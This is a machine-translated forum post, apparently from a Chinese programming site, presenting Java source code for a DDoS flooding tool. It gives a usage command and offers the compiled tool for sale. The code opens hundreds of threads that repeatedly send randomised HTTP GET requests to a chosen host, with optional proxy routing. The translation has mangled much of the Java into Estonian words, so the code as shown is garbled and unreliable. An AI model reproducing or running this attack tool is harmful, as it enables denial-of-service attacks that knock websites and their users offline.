See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 15524|Vastuse: 0

[Nõuanded] D-DOS ründeprogrammi Java versioon

[Kopeeri link]
Postitatud 01.12.2014 15:21:57 | | |
JAR-kood
dDOS-rünnak rakendatud Java poolt.
Kuid see ei erine traditsioonilistest dDo-dest.
See tarkvara on DDOS-rünnak lehele.
Kuidas kasutada:
java -jar ccddos.jar www.xxx.com 80 10 /index.do kasutajanimi=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
importida java.net.InetSocketAddress;
import java.nio.ByteBuffer;
importida java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
importida java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
importida java.util.TimerTask;
import java.util.vector;

/**
* Deemoni niidid
*
* @author administratsioon
*
*/
Avaliku klassi test {
    privaatne String host, uri, param;
    privaatne int port;
    privaatne lõpp<CCDDOSThread> Vektor v = uus <CCDDOSThread>vektor();
    privaatne InetSocketAddress isa;
    privaatne intellekti lõimedLoend = 500; Lõimede arv
    privaatne juhuslik r = uus juhuslik();
    privaatne pikk timeout = 5000l;

    /**
     * Avage rünnak
     */
    avalik tühjus start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = uus CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Taimer t = uus taimer();
        t.schedule(new TimerTask() {
            public void run() {
                int arv = 0, timeout-threads = 0;
                pikk ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        loendus++;
                    } muidu kui (ct - th.start > timeout) {
                        Timeout, väline lõpp
                        timeout-teemad++;
                        th.setCancle (tõene);
                        th.interrupt();
                        it.remove();
                        th = null;
                        loendus++;
                    }
                }
                if (loend == 0) {
                    Tagasi;
                }
                System.out.println("Lõim on suletud:"+count+", kus timeouti lõim on ühendatud:"
                        + timeout-teemad);
                for (int i = 0; Ma < lugema; i++) {
                    CCDDOSThread th = uus CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println ("Deemoni lõim alustatud:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println ("Juhised:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            Leppi kokku agendiga
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        test m = uus test();
        m.host = args[0];
        m.port = Täisarv.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Täisarv.väärtusOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = uus InetSocketAddress (m.host, m.port);
        m.start();
    }

    /**
     * Ründeliinid
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread laiendab Threadi {
        privaatne Boolean Cancle = väär;
        public long start = System.currentTimeMillis();

        public void setCancle(boole'i cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            tagasipöördumine Cancle;
        }

        public void run() {
            pikk algus = System.currentTimeMillis();
            Selektor valija;
            proovi {
                selector = Selector.open();
                SocketChannel sc;
                proovi {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(nt.getMessage());
                    cancle = tõene;
                    selector.close();
                    Tagasi;
                }

                sc.configureBlocking(vale);
                sc.register(valija, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                oota: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = tõene;
                        paus, oota;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = tõene;
                            paus, oota;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Ühendus: lähedal\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } püüa (IOException ex) {
                cancle = tõene;
            }
        }
    }
}
[/mw_shl_code]

Valmis toode ja lähtekoodi allalaadimine: java ddos.zip (8.42 KB, Allalaadimiste arv: 0, Müügihind: 2 Grain MB)





Eelmine:Räägime ajaloo suurimast 400G salapärasest DDoS-rünnakust
Järgmine:Saada iPhone 6, et rääkida artefaktide murdmise punktideta versioonist
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com